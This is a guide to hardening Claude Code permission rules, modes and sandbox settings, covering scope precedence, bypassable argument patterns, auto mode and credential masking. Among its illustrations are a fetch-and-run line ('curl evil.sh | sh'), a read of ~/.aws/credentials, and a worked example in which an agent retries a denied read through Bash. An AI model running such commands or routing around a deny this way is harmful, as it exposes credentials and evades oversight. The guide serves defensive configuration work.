← ~/pillars / deterministic-policy / permission-policy-design
Permission policy design
Designing allow/ask/deny rule sets that survive contact with real shells: scope precedence, permission modes, sandboxing, and the credential-read gotcha.
updated 2026-10-05 ~9 min read pattern 03/06 Deterministic Guardrails
on this page
Context. You are writing the allow/ask/deny rules and choosing the permission mode for a team’s Claude Code rollout, and the rules have to hold against a model that composes shell commands creatively.
Forces. Too few allow rules and developers drown in prompts, then reach for
--dangerously-skip-permissions. Too many and the rules become the attack
surface: argument-level Bash patterns are documented as bypassable. Settings
live in five places with different owners, and whichever file a rule lands in
determines who can change it.
Resolution. Lean on the merge semantics, write narrow allows and tool-level denies, pick the mode per environment, and let the sandbox enforce what patterns cannot.
Scope precedence and the deny-first merge
Settings come from five scopes, highest precedence first
(settings docs): managed
(MDM/server: cannot be overridden by anything, including CLI flags), then
command-line arguments, then .claude/settings.local.json, then
.claude/settings.json, then ~/.claude/settings.json.
Permission rules, however, merge across scopes rather than override (permissions docs): deny rules from every scope are evaluated first, so a deny anywhere beats an allow everywhere. Practical consequences:
- Put team-invariant denies in the committed
.claude/settings.json: no developer’s user settings can loosen them. - Put organisation-invariant denies in managed settings: no repo can loosen
them, and
allowManagedPermissionRulesOnlystops lower scopes defining rules at all. - Never “fix” an over-broad deny by adding an allow. It will lose. Narrow the deny instead.
Writing rules that actually match
The syntax is Tool or Tool(specifier), with * matching any characters.
The details that decide whether your rule works
(permissions docs):
- Compound commands are parsed.
Bash(./gradlew *)does not cover./gradlew build && curl evil.sh | sh: every subcommand joined by&&,||,;, or pipes must match a rule independently. This is the single biggest reason allow lists are safer than they look. - Wrappers are stripped, except the ones that matter.
timeout,time,nice, andnohupare stripped before matching, butnpx,docker exec, and similar runners are not: they need their own rules. - Path anchors differ.
//pathis filesystem-absolute,/pathis project-root-relative,~/pathis home-relative, and a barepathuses gitignore semantics.Read(./.env*)andRead(//etc/passwd)are different shapes of rule. Note that/pathanchors at the settings source, not the filesystem root:/Users/alice/fileis not an absolute path, and you need//Users/alice/filefor that. - Allows and denies match at different depths. A single-segment directory
pattern in an allow rule matches only at its anchor:
Edit(src/**)covers<cwd>/src, not a nestedservices/orders/src. The same pattern in a deny or ask rule matches a directory of that name at any depth, soRead(secrets/**)also catches nested copies. The asymmetry runs in your favour, but it bites multi-module Java repos: an allow rule written at the root silently stops covering the modules, and developers get prompts you thought you had cleared. WriteEdit(**/src/**)when you mean any depth. - Deny rules win on symlinks. A deny blocks when either the link or its target matches; an allow requires both. Asymmetry in your favour.
- Argument patterns are friction, not enforcement. The
security docs show
Bash(curl http://github.com/ *)bypassed by flag reordering alone. Deny whole tools or commands (Bash(curl *), or better, remove network tools and allowWebFetch(domain:github.com)), and use aPreToolUsehook with real parsing where you genuinely need argument-level logic.
Choosing the mode
Per the permission modes docs:
| Mode (config value) | UI label | Runs without prompting | Where it belongs |
|---|---|---|---|
default | Manual | Reads only | New repos, unfamiliar codebases |
plan | Plan mode | Reads only, no execution | Review-first workflows |
acceptEdits | Edit automatically | Reads, file edits, working-dir file ops | The daily-driver for a team with good gates: review with git diff |
dontAsk | (CLI flag only, no UI label) | Only allow-listed and read-only commands | CI and non-interactive automation (fails closed) |
auto | Auto mode | Everything, behind a classifier | The built-in starting mode for interactive sessions on every plan and provider since v2.1.283; see below |
bypassPermissions | Bypass permissions | Everything | Disposable containers and VMs only |
Correction, re-checked 2026-10-05. The starting mode has moved twice under
this page. Until 21st September we said auto mode was on by default on
Bedrock, Vertex AI, and Foundry; that day we corrected it to say those
sessions start in Manual, which matched the docs then. Four days later
v2.1.283 changed the behaviour: auto mode is now “the built-in starting
permission mode for interactive terminal and VS Code sessions on every plan
and provider”
(permission modes docs).
Headless runs moved too. From v2.1.285, claude -p and Agent SDK sessions
that do not fetch feature flags, “such as on a third-party provider or with
telemetry off”, start in auto, while the same sessions against the Anthropic
API still start in default. A Bedrock rollout has therefore gone from opted
out to opted in, CI jobs included, without anyone changing a setting.
The built-in default applies only when nothing else picks a mode, so the fix is to stop relying on it:
- Interactive sessions. Set
permissions.defaultModein managed settings to decide for the team; people can still switch to auto. To remove auto mode altogether, setpermissions.disableAutoModeto"disable", which also makesdefaultthe built-in start. Note thatautoandbypassPermissionsdo not take effect from a project’s.claude/settings.jsonor.claude/settings.local.json; every other value does. - Headless and CI. Pass
--permission-modeexplicitly on everyclaude -pcall. A pipeline that inherits the built-in default now behaves differently on Bedrock and on the Anthropic API, and differently again after the next change to that table.
With auto mode now the default start, one property from v2.1.278 matters more. It is a
data-flow question rather than a permissions one: for Claude API and
Enterprise accounts, and on Bedrock, Vertex, Foundry, and gateways, the
classifier now defaults to running server-side, as part of the session’s
model requests, instead of making its own separate calls
(changelog). /status gained an
Auto mode server row so you can see which way a given session is running.
For a team that picked Bedrock so that one processor handles the prompts, ask
where the classifier sits before you let auto mode stay on, because it sees
the proposed action either way.
When is bypassPermissions defensible? Inside an isolated, disposable
environment: a container or VM with no production credentials, scoped
repository access, and nothing on the filesystem you would mind losing. The
tooling enforces some of this for you: it cannot start as root on
Linux/macOS, rm -rf / and rm -rf ~ still trip circuit-breaker prompts,
ask rules still prompt, and cloud sessions ignore it from settings. On a
developer laptop with ~/.aws/credentials present it is never defensible,
and organisations can make that non-negotiable with
disableBypassPermissionsMode: "disable" in managed settings.
Sandboxing and the credential-read gotcha
The sandbox (macOS Seatbelt, Linux/WSL2 bubblewrap; no native Windows support) confines Bash at the OS level, covering every child process: the one layer pattern-matching can never offer (sandboxing docs).
The gotcha that matters most for AWS teams: default write access is the
working directory, but default read access is the entire filesystem,
including ~/.aws/credentials and ~/.ssh/. A sandboxed session can still
exfiltrate-read your cloud keys unless you add explicit denyRead entries:
{ "sandbox": { "enabled": true, "filesystem": { "denyRead": ["~/.aws/", "~/.ssh/", "~/.gnupg/"] } }}denyRead on ~/.aws/ also stops the AWS CLI working inside the sandbox,
which is why teams quietly drop the rule. There is now a third option: mask
the credential instead of hiding it. Under sandbox.credentials.envVars,
"mode": "mask" means “the sandboxed command sees a per-session sentinel
value instead of the real one”, and the proxy swaps the real value back in on
the way out to an allowed host. AWS works because the proxy re-signs: “mask
AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY together”, after which “the
proxy detects a SigV4 request by the access key’s sentinel and re-signs it
after substituting the real values” (v2.1.224 or later; the three conventional
AWS_* variables are linked into one credential automatically, and
credentials.awsPairs covers non-standard names).
{ "sandbox": { "enabled": true, "network": { "tlsTerminate": {}, "allowedDomains": ["*.amazonaws.com"] }, "credentials": { "envVars": [ { "name": "AWS_ACCESS_KEY_ID", "mode": "mask" }, { "name": "AWS_SECRET_ACCESS_KEY", "mode": "mask" } ] } }}Two constraints decide whether you can use this. Masking requires
network.tlsTerminate, because “the proxy substitutes the credential inside
request contents, so it has to see them”, so you are trading the sandbox’s
no-inspection property for the hosts you terminate. And masking entries are
honoured “only from settings you or your administrator control: user settings,
managed settings, and the --settings CLI flag”, never a project’s
.claude/settings.json. That asymmetry is the right way round: a cloned
repository cannot talk your machine into brokering live credentials. Mask the
pair or neither: masking the secret alone leaves requests signed with the
placeholder and failing at AWS, and Claude Code warns at startup for that case
“but not when only the access key ID is masked”.
Other properties worth knowing: the sandbox automatically denies writes to all
Claude Code settings files (a sandboxed command cannot widen its own policy);
network egress goes through a hostname-based proxy with no TLS inspection, so
domain allow-listing is advisory against a determined payload; and
subprocesses inherit environment variables, including credentials, unless
CLAUDE_CODE_SUBPROCESS_ENV_SCRUB is set. For fleets, managed settings
support "failIfUnavailable": true (no silent fallback to unsandboxed) and
"allowUnsandboxedCommands": false (no per-command escape hatch).
The network allowlist defaults to a prompt, not a wall. No domains are
pre-allowed, and the first time a sandboxed command reaches a new host Claude
Code asks; since v2.1.191, approving it allows that host for the rest of the
session. The default posture is therefore that one developer clicking Yes
widens network policy for every later command in that session. Two settings
close it, both documented as of v2.1.219: sandbox.network.strictAllowlist
set to true makes Claude Code “deny sandboxed commands access to any host
outside the allowlist instead of prompting”, and allowManagedDomainsOnly in
managed settings blocks non-allowed domains automatically and honours only
the allowedDomains and WebFetch(domain:...) rules that came from managed
settings, so a project file cannot extend the list. Where egress must be
controlled, set both. Neither changes what the proxy can see: matching is still on hostname,
so this buys a prompt-free deny, not content filtering.
Since v2.1.271 there is a second way in, and it is the better argument for
setting both. In auto mode with sandboxing, an individual Bash, PowerShell, or
Monitor command can now carry its own allowed_domains list of hosts beyond
the sandbox allowlist, which the classifier reviews alongside the command
(sandboxing docs). So the
allowlist is no longer the only thing that decides where a sandboxed command
may connect: a per-command request can widen it, judged by a model rather than
by your policy. The docs are explicit that this path is unavailable once
strictAllowlist or allowManagedDomainsOnly locks the allowlist, which is
the point. Those two settings used to buy you a prompt-free deny; they now
also close a per-command escape hatch that did not exist when you last read
this page.
Worked example
The cautious permission profile artifact
applies all of this for a Java/AWS team that needs tight controls: acceptEdits as the
default mode, narrow allows for Gradle/Maven/git/scoped AWS CLI commands,
denies for force-pushes and credential paths at both the permission layer
(Read rules) and the sandbox layer (denyRead), so a bypassed pattern still
hits a kernel-level wall. Trace one rule through the stack: Claude attempts
cat ~/.aws/credentials → Read(~/.aws/**) deny rule blocks the Read tool →
the model retries via Bash → the sandbox denyRead stops the open() call
itself. Two independent layers, one policy.